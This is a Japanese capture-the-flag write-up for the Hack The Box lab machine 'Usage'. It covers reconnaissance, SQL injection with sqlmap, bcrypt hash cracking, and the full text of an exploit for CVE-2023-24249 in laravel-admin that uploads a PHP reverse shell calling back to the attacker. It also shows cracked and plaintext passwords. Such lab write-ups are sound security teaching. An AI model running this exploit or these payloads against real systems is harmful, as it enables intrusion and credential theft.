Hack The BoxのWriteup(Usage)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

本記事の概要

Hack The BoxのLinuxサーバの難易度Easyのマシンである「Usage」に対する攻撃手法を記載します。

本記事では、以下の手順を記載します。
  (1) ポートスキャン
  (2) 名前解決のためのhostsファイル更新(1回目)
  (3) Webアクセスできるファイル/ディレクトリ調査(1回目)
  (4) Webアクセスできるサブドメイン調査
  (5) 名前解決のためのhostsファイル更新(2回目)
  (6) Webアクセスできるファイル/ディレクトリ調査(2回目)
  (7) SQLインジェクションの有無の調査
  (8) sqlmapを用いたデータベース内のデータ取得
  (9) John the Ripperを用いてハッシュ値解析
  (10) laravel-adminの脆弱性(CVE-2023-24249)を悪用したリバースシェル
  (11) 攻撃対象のマシン(Usage)の調査
  (12) xanderユーザーでSSHログイン
  (13) 特権昇格のための調査
  (14) 特権昇格(sudo設定の脆弱性)

※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。


ポートスキャン


(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP(80/tcp)のポートが応答がある。

$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.18
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-17 18:38 JST
Nmap scan report for usage.htb (10.10.11.18)
Host is up (0.34s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Daily Blogs
|_http-server-header: nginx/1.18.0 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 554/tcp)
HOP RTT       ADDRESS
1   600.05 ms 10.10.16.1
2   279.80 ms usage.htb (10.10.11.18)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.05 seconds


名前解決のためのhostsファイル更新(1回目)


(1) ブラウザを用いて「http://10.10.11.18/」にアクセスすると、「http://usage.htb/」にリダイレクトされる。

(2) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。

$ echo '10.10.11.18 usage.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
   →「10.10.11.18 usage.htb」が出力されることを確認する。


(3) ブラウザを用いて「http://usage.htb/」にアクセスすると、Webページが表示される。


Webアクセスできるファイル/ディレクトリ調査(1回目)


(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる内容はない。

$ feroxbuster -u http://usage.htb/ -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
200      GET      265l      244w     5141c http://usage.htb/login
302      GET       12l       22w      334c http://usage.htb/logout => http://usage.htb/login
200      GET      264l      247w     5112c http://usage.htb/registration
200      GET      216l      196w     3767c http://usage.htb/forget-password
200      GET      265l      244w     5141c http://usage.htb/
302      GET       12l       22w      334c http://usage.htb/dashboard => http://usage.htb/login
ーーー(省略)ーーー




(2) GoBusterを用いてアクセスできるURLを確認するが、特に気になる内容はない。

$ gobuster dir -u http://usage.htb/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o Usage_80.txt
ーーー(省略)ーーー
/.history             (Status: 403) [Size: 162]
/100                  (Status: 503) [Size: 206]
/.listing             (Status: 403) [Size: 162]
/.bashrc              (Status: 403) [Size: 162]
/.bash_history        (Status: 503) [Size: 206]
/.cvs                 (Status: 403) [Size: 162]
/10668                (Status: 503) [Size: 206]
/.cvsignore           (Status: 503) [Size: 206]
/10sne1               (Status: 503) [Size: 206]
/!textove_diskuse     (Status: 503) [Size: 206]
/106                  (Status: 503) [Size: 206]
/108                  (Status: 503) [Size: 206]
/105                  (Status: 503) [Size: 206]
ーーー(省略)ーーー




(3) dirsearchを用いてアクセスできるURLを確認するが、特に気になる内容はない。

$ sudo dirsearch -u http://usage.htb/
ーーー(省略)ーーー
[20:43:28] Starting:
[20:43:33] 403 -  564B  - /%2e%2e;/test
[20:43:34] 503 -  608B  - /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../
[20:43:34] 503 -  608B  - /+CSCOT+/translation
[20:43:34] 503 -  608B  - /..;/
[20:43:34] 503 -  608B  - /.0
[20:43:34] 503 -  608B  - /.7z
[20:43:34] 503 -  608B  - /.accdb
[20:43:34] 503 -  608B  - /.access
ーーー(省略)ーーー




(4) ffufを用いてアクセスできるURLを確認するが、特に気になる内容はない。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://usage.htb/FUZZ" -ic
ーーー(省略)ーーー
                        [Status: 200, Size: 5141, Words: 2184, Lines: 266, Duration: 634ms]
login                   [Status: 200, Size: 5141, Words: 2184, Lines: 266, Duration: 634ms]
logout                  [Status: 302, Size: 334, Words: 60, Lines: 12, Duration: 214ms]
:: Progress: [220546/220546] :: Job [1/1] :: 81 req/sec :: Duration: [0:30:34] :: Errors: 225 ::
ーーー(省略)ーーー




Webアクセスできるサブドメイン調査


(1) ffufを用いてアクセスできるusage.htbのサブドメインを調査するが、サブドメインは検出されない。

$ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FFUZ -H "Host: FFUZ.usage.htb" -u http://usage.htb -fs 230

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://usage.htb
 :: Wordlist         : FFUZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FFUZ.usage.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

:: Progress: [100000/100000] :: Job [1/1] :: 199 req/sec :: Duration: [0:16:26] :: Errors: 120 ::


(2) ブラウザを用いて「http://usage.htb/」にアクセスして、右上部の「Admin」をクリックする。


(3) 「http://admin.usage.htb/」にアクセスされるが、admin.usage.htbの名前解決ができないためエラー画面となる。


名前解決のためのhostsファイル更新(2回目)


(1) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。

$ echo '10.10.11.18 admin.usage.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
   →「10.10.11.18 admin.usage.htb」が出力されることを確認する。


(2) ブラウザを用いて「http://admin.usage.htb/」にアクセスすると、Webページが表示される。


Webアクセスできるファイル/ディレクトリ調査(2回目)


(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる内容はない。

$ feroxbuster -u http://admin.usage.htb/ -d 2 -C 400,403,404,405,500

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher ?                 ver: 2.11.0
qqqqqqqqqqqqqqqqqqqqqqqqqqqwqqqqqqqqqqqqqqqqqqqqqq
 ?  Target Url            x http://admin.usage.htb/
 ?  Threads               x 50
 ?  Wordlist              x /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 ?  Status Code Filters   x [400, 403, 404, 405, 500]
 ?  Timeout (secs)        x 7
 ?  User-Agent            x feroxbuster/2.11.0
 ?  Config File           x /etc/feroxbuster/ferox-config.toml
 ?  Extract Links         x true
 ?  HTTP methods          x [GET]
 ?  Recursion Depth       x 2
qqqqqqqqqqqqqqqqqqqqqqqqqqqvqqqqqqqqqqqqqqqqqqqqqq
 ?  Press [ENTER] to use the Scan Management Menu?
qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
503      GET        7l       14w      206c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
[####################] - 3m     30000/30000   0s      found:0       errors:0
[####################] - 3m     30000/30000   197/s   http://admin.usage.htb/




(2) GoBusterを用いてアクセスできるURLを確認するが、特に気になる内容はない。

$ gobuster dir -u http://admin.usage.htb/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o Usage1_80.txt
ーーー(省略)ーーー
/.rhosts              (Status: 403) [Size: 162]
/.cvsignore           (Status: 403) [Size: 162]
/.cvs                 (Status: 403) [Size: 162]
/.history             (Status: 403) [Size: 162]
/.listing             (Status: 403) [Size: 162]
/.git                 (Status: 403) [Size: 162]
/.forward             (Status: 403) [Size: 162]
/007007               (Status: 503) [Size: 206]
ーーー(省略)ーーー




(3) dirsearchを用いてアクセスできるURLを確認するが、特に気になる内容はない。

$ sudo dirsearch -u http://admin.usage.htb/
ーーー(省略)ーーー
[21:19:57] Starting:
[21:20:02] 403 -  564B  - /%2e%2e;/test
[21:20:02] 503 -  608B  - /html.php
[21:20:03] 503 -  608B  - /php.txt
[21:20:03] 503 -  608B  - /js.tgz
[21:20:03] 503 -  608B  - /jsp.txt
[21:20:03] 503 -  608B  - /php.zip
[21:20:03] 503 -  608B  - /html.txt
[21:20:03] 503 -  608B  - /js.txt
ーーー(省略)ーーー




(4) ffufを用いてアクセスできるURLを確認するが、特に気になる内容はない。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://admin.usage.htb/FUZZ" -ic
ーーー(省略)ーーー
uploads                 [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 276ms]
                        [Status: 200, Size: 3304, Words: 493, Lines: 89, Duration: 240ms]
:: Progress: [220546/220546] :: Job [1/1] :: 177 req/sec :: Duration: [0:27:09] :: Errors: 0 ::
ーーー(省略)ーーー



SQLインジェクションの有無の調査


(1) ブラウザを用いて「http://usage.htb/」にアクセスし、「Reset Password」をクリックする。


(2) 任意のメールアドレス(例:admin@usage.htb)を入力して、「Send Password Reset Link」をクリックする。


(3) メールアドレスが一致しない旨のメッセージが表示される。


(4) メールアドレス欄に「’ –」を入力して、「Send Password Reset Link」をクリックする。


(5) HTTPのステータスコード500番のエラーが表示されていることが分かる。通常のメールアドレスはデータベースへの問い合わせが正常に実施され、「’ –」はエラーになるためSQLインジェクションの脆弱性があることが分かる。


(6) Burp Suiteで取得したリクエストデータを確認すると、emailパラメータでユーザーが入力したデータを送っていることが分かる。

【リクエストデータ】
POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Origin: http://usage.htb
Connection: keep-alive
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdiI6IitFV2FFaDU5dUwrY3c1eEpvS1F4N1E9PSIsInZhbHVlIjoiU1hDL2c3WmE3ZTAzTC9PUnNaWWNlNWtrdEV0NGh5WjB6ZWluNlJ6QlN5ak42YnM0d29kYk9jUll6NkQrbXZFdmRFU1c1UytEdSt3cVFsTzdYYjhEeUJxRnowaEdiRlNhQ2pQZ1lhd2FYcDU0QjRFc3JYRVp6MGprdXNXMmQ2K20iLCJtYWMiOiJlNTIxNDMwNzY0MDU0M2VjZWY0NGViZmZjMjBlYjQxM2I5OTAxMDI0MDU0OTk1NjhkYWU3YzNlNWIyYjhhYTk3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Iml0RFQzOTg3RTNmOGtJU0Ntd2FWTWc9PSIsInZhbHVlIjoiQ2wwaUpsbk1oSm9HczNjamN6WjdjRUtFaGZyWUVZYVltR3R2UnpPRXhVUlBucTRYSUQ3MmZsTk0weDFTZUg5MXBuVXdPUzRma3JhcFBxVTEzYVo0QjJZdXNvM256TVBiS2U3c0xtS3BhVitEaUJobTNwUk04OFBjVHBJTkRETWMiLCJtYWMiOiJjYjVkNWZhN2E2NmRiZDMwYmY1ZDQ0MWY1YmFjOGJiMjdmZDBlMDg5MzZmNTdhNDYyM2EyYWJjYjdkMTY0OWMxIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
Priority: u=0, i

_token=FboE1wNMozvheBgiuhiGwd818pylpAPvm47FBaFb&email=%27+--




sqlmapを用いたデータベース内のデータ取得


(1) Burp Stuiteで取得したリクエストデータのemailを「%27+–」から「*」に変更しファイルに保存する。

$ vi request1.txt

【リクエストデータ】
POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Origin: http://usage.htb
Connection: keep-alive
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdiI6IitFV2FFaDU5dUwrY3c1eEpvS1F4N1E9PSIsInZhbHVlIjoiU1hDL2c3WmE3ZTAzTC9PUnNaWWNlNWtrdEV0NGh5WjB6ZWluNlJ6QlN5ak42YnM0d29kYk9jUll6NkQrbXZFdmRFU1c1UytEdSt3cVFsTzdYYjhEeUJxRnowaEdiRlNhQ2pQZ1lhd2FYcDU0QjRFc3JYRVp6MGprdXNXMmQ2K20iLCJtYWMiOiJlNTIxNDMwNzY0MDU0M2VjZWY0NGViZmZjMjBlYjQxM2I5OTAxMDI0MDU0OTk1NjhkYWU3YzNlNWIyYjhhYTk3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Iml0RFQzOTg3RTNmOGtJU0Ntd2FWTWc9PSIsInZhbHVlIjoiQ2wwaUpsbk1oSm9HczNjamN6WjdjRUtFaGZyWUVZYVltR3R2UnpPRXhVUlBucTRYSUQ3MmZsTk0weDFTZUg5MXBuVXdPUzRma3JhcFBxVTEzYVo0QjJZdXNvM256TVBiS2U3c0xtS3BhVitEaUJobTNwUk04OFBjVHBJTkRETWMiLCJtYWMiOiJjYjVkNWZhN2E2NmRiZDMwYmY1ZDQ0MWY1YmFjOGJiMjdmZDBlMDg5MzZmNTdhNDYyM2EyYWJjYjdkMTY0OWMxIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
Priority: u=0, i

_token=FboE1wNMozvheBgiuhiGwd818pylpAPvm47FBaFb&email=*


(2) sqlmapを用いてデータベースの一覧を表示すると、usage_blogというデータベースがあることが分かる。

$ sqlmap -r request1.txt -p email --batch --level 5 --risk 3 --dbs --technique=B
  ※--techniqueオプションはペイロードの種類と順序を指定するオプション。デフォルトはBEUSTQになっている。
   BEUSTQの意味は以下の通り。
     ・B: Boolean-based blind
     ・E: Error-based
     ・U: Union query-based
     ・S: Stacked queries
     ・T: Time-based blind
     ・Q: Inline queries


【出力内容(一部抜粋)】
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 337 HTTP(s) requests:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: _token=FboE1wNMozvheBgiuhiGwd818pylpAPvm47FBaFb&email=' AND 2549=(SELECT (CASE WHEN (2549=2549) THEN 2549 ELSE (SELECT 3775 UNION SELECT 2009) END))-- LnOw
---
[12:50:30] [INFO] testing MySQL
[12:50:32] [INFO] confirming MySQL
ーーー(省略)ーーー
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog

[12:57:20] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 284 times
[12:57:20] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/usage.htb'


(3) sqlmapを用いてテーブルの一覧を表示すると、admin_usersというユーザー情報が記載されてそうなテーブルがあることがか分かる。

$ sqlmap -r request1.txt -p email --batch --threads=10 --level 5 --risk 3 -D usage_blog --tables

【出力内容(一部抜粋)】
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu             |
| admin_operation_log    |
| admin_permissions      |
| admin_role_menu        |
| admin_role_permissions |
| admin_role_users       |
| admin_roles            |
| admin_user_permissions |
| admin_users            |
| blog                   |
| failed_jobs            |
| migrations             |
| password_reset_tokens  |
| personal_access_tokens |
| users                  |
+------------------------+


(4) adminユーザーのパスワードハッシュ値が「$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2」であることが分かる。

$ sqlmap -r request1.txt -p email --batch --level 5 --risk 3 -D usage_blog -T admin_users --dump

【出力内容(一部抜粋)】
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: _token=FboE1wNMozvheBgiuhiGwd818pylpAPvm47FBaFb&email=' AND 2549=(SELECT (CASE WHEN (2549=2549) THEN 2549 ELSE (SELECT 3775 UNION SELECT 2009) END))-- LnOw
---
[13:11:41] [INFO] the back-end DBMS is MySQL
ーーー(省略)ーーー
Database: usage_blog
Table: admin_users
[1 entry]
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| id | name          | avatar  | password                                                     | username | created_at          | updated_at          | remember_token                                               |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| 1  | Administrator | <blank> | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin    | 2023-08-13 02:48:26 | 2023-08-23 06:02:19 | kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+


John the Ripperを用いてハッシュ値解析


(1) codeの値がどのようなハッシュ値か確認するために、「https://hashes.com/en/tools/hash_identifier」にパスワードハッシュ値を入力して「SUBMIT & IDENTIFY」をクリックする。


(2) bcryptというアルゴリズムで生成されたハッシュ値であることが分かる。


(3) Kali Linux側の操作で取得したadminユーザーの認証情報を「$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2」をファイルに格納する。

※Kali Linux側のマシンでコマンドを実行する。

$ vi Usage_hash.txt
  →「$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2」を書き込む。

$ cat Usage_hash.txt
$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2


(4) John the Ripperを用いてadminユーザーのハッシュ値を解析すると、「whatever1」のハッシュ値であることが分かる。

※Kali Linux側のマシンでコマンドを実行する。

$ john Usage_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
whatever1        (?)
1g 0:00:00:07 DONE (2025-07-19 22:52) 0.1314g/s 212.8p/s 212.8c/s 212.8C/s alexis1..serena
Use the "--show" option to display all of the cracked passwords reliably
Session completed.


laravel-adminの脆弱性(CVE-2023-24249)を悪用したリバースシェル


(1) ブラウザを用いて「http://admin.usage.htb/」にアクセスして「ユーザー名:admin」、「パスワード:whatever1」を入力して、「Login」をクリックする。


(2) ログインに成功し各ソフトウェアのバージョンを確認できる。laravel-adminはバージョン1.8.18を使用していることが分かる。


(3) 「laravel-admin 1.8.18 exploit」でGoogle検索すると、CVE-2023-24249の脆弱性があることが分かる。また、以下のWebページで攻撃方法が公開されていることが分かる。

URL概要
https://flyd.uk/post/cve-2023-24249/攻撃の流が記載されたWebページ
https://github.com/IDUZZEL/CVE-2023-24249-ExploitGithubで公開している攻撃コードのWebページ


(4) 「https://github.com/IDUZZEL/CVE-2023-24249-Exploit」に記載された攻撃コードをダウンロードする。

$ git clone https://github.com/IDUZZEL/CVE-2023-24249-Exploit


(5) 攻撃コードの内容を確認する。

$ cd CVE-2023-24249-Exploit


$ cat exploit.py
import argparse
import requests
from bs4 import BeautifulSoup
import subprocess

BANNER = """
\033[1;31m  _____   _____   ___ __ ___ ____   ___ _ _ ___ _ _  ___
 / __\ \ / / __|_|_  )  \_  )__ /__|_  ) | |_  ) | |/ _ \\
| (__ \ V /| _|___/ / () / / |_ \___/ /|_  _/ /|_  _\_, /
 \___| \_/ |___| /___\__/___|___/  /___| |_/___| |_| /_/  EXPLOIT by IDUZZEL\033[0m
"""

def get_tokens(session, url, endpoint):
    try:
        response = session.get(f"{url}/{endpoint}")
        response.raise_for_status()
    except requests.RequestException as e:
        print(f"[-] Failed to fetch {endpoint} page: {e}")
        return None, None

    soup = BeautifulSoup(response.text, 'html.parser')

    token_input = soup.find('input', {'name': '_token'})
    if not token_input:
        print(f"[-] No _token input found on {endpoint} page")
        return None, None

    token = token_input['value']
    cookies = session.cookies.get_dict()
    return token, cookies

def upload_revshell(url, username, password, ip, port):
    session = requests.Session()
    token, cookies = get_tokens(session, url, 'admin/auth/login')

    if not token:
        print("[-] Unable to retrieve token for login")
        return

    login_data = {
        'username': username,
        'password': password,
        '_token': token
    }
    try:
        login_response = session.post(f"{url}/admin/auth/login", data=login_data, cookies=cookies)
        login_response.raise_for_status()
    except requests.RequestException as e:
        print(f"[-] Login failed: {e}")
        return

    if "Login failed" in login_response.text:
        print("[-] Login failed, check your credentials")
        return

    token, cookies = get_tokens(session, url, 'admin/auth/setting')
    if not token:
        print("[-] Unable to retrieve token for settings")
        return

    # PHP reverse shell script
    revshell_content = f"<?php system('bash -c \"bash -i >& /dev/tcp/{ip}/{port} 0>&1\"'); ?>"

    with open('revshell.php', 'w') as revshell_file:
        revshell_file.write(revshell_content)

    files = {
        'name': (None, 'Administrator'),
        'avatar': ('revshell.php', open('revshell.php', 'rb'), 'image/jpeg'),
        '_token': (None, token),
        '_method': (None, 'PUT')
    }

    try:
        response = session.post(f"{url}/admin/auth/setting", files=files, cookies=cookies)
        response.raise_for_status()
        print("[+] Reverse shell uploaded successfully! Attempting to execute it...")

        # Send GET request to execute the reverse shell in a non-blocking manner
        shell_url = f"{url}/uploads/images/revshell.php"
        subprocess.Popen(['curl', shell_url])

        print(f"[+] Reverse shell executed successfully! Check your listener at {ip}:{port}")
    except requests.RequestException as e:
        print(f"[-] Failed to upload reverse shell: {e}")

def main():
    parser = argparse.ArgumentParser(description="Exploit script for command injection vulnerability")
    parser.add_argument('-u', '--url', required=True, help='Target URL')
    parser.add_argument('-U', '--username', required=True, help='Username')
    parser.add_argument('-P', '--password', required=True, help='Password')
    parser.add_argument('-i', '--ip', required=True, help='IP for reverse shell')
    parser.add_argument('-p', '--port', required=True, help='Port for reverse shell')
    args = parser.parse_args()

    print(BANNER)

    upload_revshell(args.url, args.username, args.password, args.ip, args.port)

if __name__ == "__main__":
    main()

(6) Kali LinuxのIPアドレスを確認し、1234/tcpポートで待ち受ける。
$ ip a
  →Kali LinuxのVPN用のインターフェースのIPアドレスが「10.10.16.10」


$ nc -lvnp 1234
listening on [any] 1234 ...


(7) CVE-2023-24249の脆弱性を悪用しリバースシェル攻撃をする。

$ python3 exploit.py -u http://admin.usage.htb -U admin -P whatever1 -i 10.10.16.10 -p 1234
/home/kali/Downloads/aaaa/xxxx/PC/CVE-2023-24249-Exploit/exploit.py:8: SyntaxWarning: invalid escape sequence '\ '
  / __\ \ / / __|_|_  )  \_  )__ /__|_  ) | |_  ) | |/ _ \\

  _____   _____   ___ __ ___ ____   ___ _ _ ___ _ _  ___
 / __\ \ / / __|_|_  )  \_  )__ /__|_  ) | |_  ) | |/ _ \
| (__ \ V /| _|___/ / () / / |_ \___/ /|_  _/ /|_  _\_, /
 \___| \_/ |___| /___\__/___|___/  /___| |_/___| |_| /_/  EXPLOIT by IDUZZEL

[+] Reverse shell uploaded successfully! Attempting to execute it...
[+] Reverse shell executed successfully! Check your listener at 10.10.16.10:1234


(8) 1234/tcpで待ち受けていたプロンプトに応答があり、コマンドを実行できるようになる。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.11.18] 55616
bash: cannot set terminal process group (1227): Inappropriate ioctl for device
bash: no job control in this shell
dash@usage:/var/www/html/project_admin/public/uploads/images$


(9) 現在ログインしているユーザー情報を確認すると、dashユーザーでログインしていることが分かる。

※リバースシェルで奪取した攻撃対象のマシン(Usage)上で以下のコマンドを実行する。

$ id
uid=1000(dash) gid=1000(dash) groups=1000(dash)


$ whoami
dash


(10) 一般ユーザー用のフラグファイルを確認する。

※リバースシェルで奪取した攻撃対象のマシン(Usage)上で以下のコマンドを実行する。

$ cat /home/dash/user.txt
22fbdfd0e0a5648824d3c6b8d197973a


攻撃対象のマシン(Usage)の調査


(1) ログインできるユーザーを確認すると、dashユーザーの他にxanderユーザーがログインできることが分かる。

※リバースシェルで奪取した攻撃対象のマシン(Usage)上で以下のコマンドを実行する。

$ ls /home/
dash
xander


$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
dash:x:1000:1000:dash:/home/dash:/bin/bash
xander:x:1001:1001::/home/xander:/bin/bash


(2) xanderユーザーをパスワードを探すために、「password」という文字列が記載されたファイルを調べる。しかし、/var/www/html/project_admin/や環境変数には設定されていない。

※リバースシェルで奪取した攻撃対象のマシン(Usage)上で以下のコマンドを実行する。

$ find /var/www/html/project_admin/config/ -type f | xargs grep -n 'password'
/var/www/html/project_admin/config/database.php:53:            'password' => env('DB_PASSWORD', ''),
/var/www/html/project_admin/config/database.php:73:            'password' => env('DB_PASSWORD', ''),
/var/www/html/project_admin/config/database.php:88:            'password' => env('DB_PASSWORD', ''),
/var/www/html/project_admin/config/database.php:135:            'password' => env('REDIS_PASSWORD'),
/var/www/html/project_admin/config/database.php:144:            'password' => env('REDIS_PASSWORD'),
/var/www/html/project_admin/config/auth.php:10:    | This option controls the default authentication "guard" and password
/var/www/html/project_admin/config/auth.php:18:        'passwords' => 'users',
/var/www/html/project_admin/config/auth.php:79:    | You may specify multiple password reset configurations if you have more
/var/www/html/project_admin/config/auth.php:81:    | separate password reset settings based on the specific user types.
/var/www/html/project_admin/config/auth.php:88:    | generating more password reset tokens. This prevents the user from
/var/www/html/project_admin/config/auth.php:89:    | quickly generating a very large amount of password reset tokens.
/var/www/html/project_admin/config/auth.php:93:    'passwords' => [
/var/www/html/project_admin/config/auth.php:96:            'table' => 'password_reset_tokens',
/var/www/html/project_admin/config/auth.php:107:    | Here you may define the amount of seconds before a password confirmation
/var/www/html/project_admin/config/auth.php:108:    | times out and the user is prompted to re-enter their password via the
/var/www/html/project_admin/config/auth.php:113:    'password_timeout' => 10800,
/var/www/html/project_admin/config/hashing.php:11:    | passwords for your application. By default, the bcrypt algorithm is
/var/www/html/project_admin/config/hashing.php:26:    | passwords are hashed using the Bcrypt algorithm. This will allow you
/var/www/html/project_admin/config/hashing.php:27:    | to control the amount of time it takes to hash the given password.
/var/www/html/project_admin/config/hashing.php:41:    | passwords are hashed using the Argon algorithm. These will allow you
/var/www/html/project_admin/config/hashing.php:42:    | to control the amount of time it takes to hash the given password.
/var/www/html/project_admin/config/mail.php:44:            'password' => env('MAIL_PASSWORD'),


$ printenv
PWD=/var/www/html/project_admin/public/uploads/images
HOME=/home/dash
LS_COLORS=
LESSCLOSE=/usr/bin/lesspipe %s %s
LESSOPEN=| /usr/bin/lesspipe %s
USER=dash
SHLVL=2
_=/usr/bin/printenv


(3) dashのホームディレクトリ(/home/dash)を確認すると、.monitrcという珍しいファイルがあることが分かる。

※リバースシェルで奪取した攻撃対象のマシン(Usage)上で以下のコマンドを実行する。

$ ls -al /home/dash
drwxr-x--- 6 dash dash 4096 Jul 20 01:18 .
drwxr-xr-x 4 root root 4096 Aug 16  2023 ..
lrwxrwxrwx 1 root root    9 Apr  2  2024 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash 3771 Jan  6  2022 .bashrc
drwx------ 3 dash dash 4096 Aug  7  2023 .cache
drwxrwxr-x 4 dash dash 4096 Aug 20  2023 .config
drwxrwxr-x 3 dash dash 4096 Aug  7  2023 .local
-rw-r--r-- 1 dash dash   32 Oct 26  2023 .monit.id
-rw-r--r-- 1 dash dash    6 Jul 20 01:18 .monit.pid
-rw------- 1 dash dash 1192 Jul 20 01:16 .monit.state
-rwx------ 1 dash dash  707 Oct 26  2023 .monitrc
-rw-r--r-- 1 dash dash  807 Jan  6  2022 .profile
drwx------ 2 dash dash 4096 Aug 24  2023 .ssh
-rw-r----- 1 root dash   33 Jul 19 02:32 user.txt


(4) .monitrcファイルの内容を確認すると、adminユーザーのパスワードが「3nc0d3d_pa$$w0rd」であることが分かる。

$ cat /home/dash/.monitrc

【出力結果】
#Monitoring Interval in Seconds
set daemon  60

#Enable Web Access
set httpd port 2812
     use address 127.0.0.1
     allow admin:3nc0d3d_pa$$w0rd

#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
